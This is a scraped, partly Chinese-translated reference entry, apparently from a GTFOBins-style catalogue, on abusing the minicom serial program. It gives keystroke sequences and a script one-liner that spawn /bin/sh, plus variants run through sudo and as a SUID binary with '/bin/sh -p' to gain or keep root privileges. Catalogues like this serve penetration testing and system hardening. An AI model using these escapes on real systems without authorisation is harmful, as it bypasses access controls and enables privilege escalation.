Meta-Z
is used in place of Ctrl-A
. 用来生成一个交互式的系统shell。
Ctrl-A o
and select Filenames and paths
;
2. press e
, type /bin/sh
, then Enter
;
3. Press Esc
twice;
4. Press Ctrl-A k
to drop the shell.
After the shell, exit with Ctrl-A x
.
minicom -D /dev/null
After the shell, exit with Ctrl-A x
.
TF=$(mktemp)
echo "! exec /bin/sh <$(tty) 1>$(tty) 2>$(tty)" >$TF
minicom -D /dev/null -S $TF
reset^J
如果二进制文件被 sudo 允许以超级用户身份运行,可能被用于访问文件系统、提升或维持特权访问。
Ctrl-A o
and select Filenames and paths
;
2. press e
, type /bin/sh
, then Enter
;
3. Press Esc
twice;
4. Press Ctrl-A k
to drop the shell.
After the shell, exit with Ctrl-A x
.
sudo minicom -D /dev/null
suid是一种授予文件的权限类型,它允许用户使用者以文件所有者的权限来执行文件。
Ctrl-A o
and select Filenames and paths
;
2. press e
, type /bin/sh -p
, then Enter
;
3. Press Esc
twice;
4. Press Ctrl-A k
to drop the shell.
After the shell, exit with Ctrl-A x
.
./minicom -D /dev/null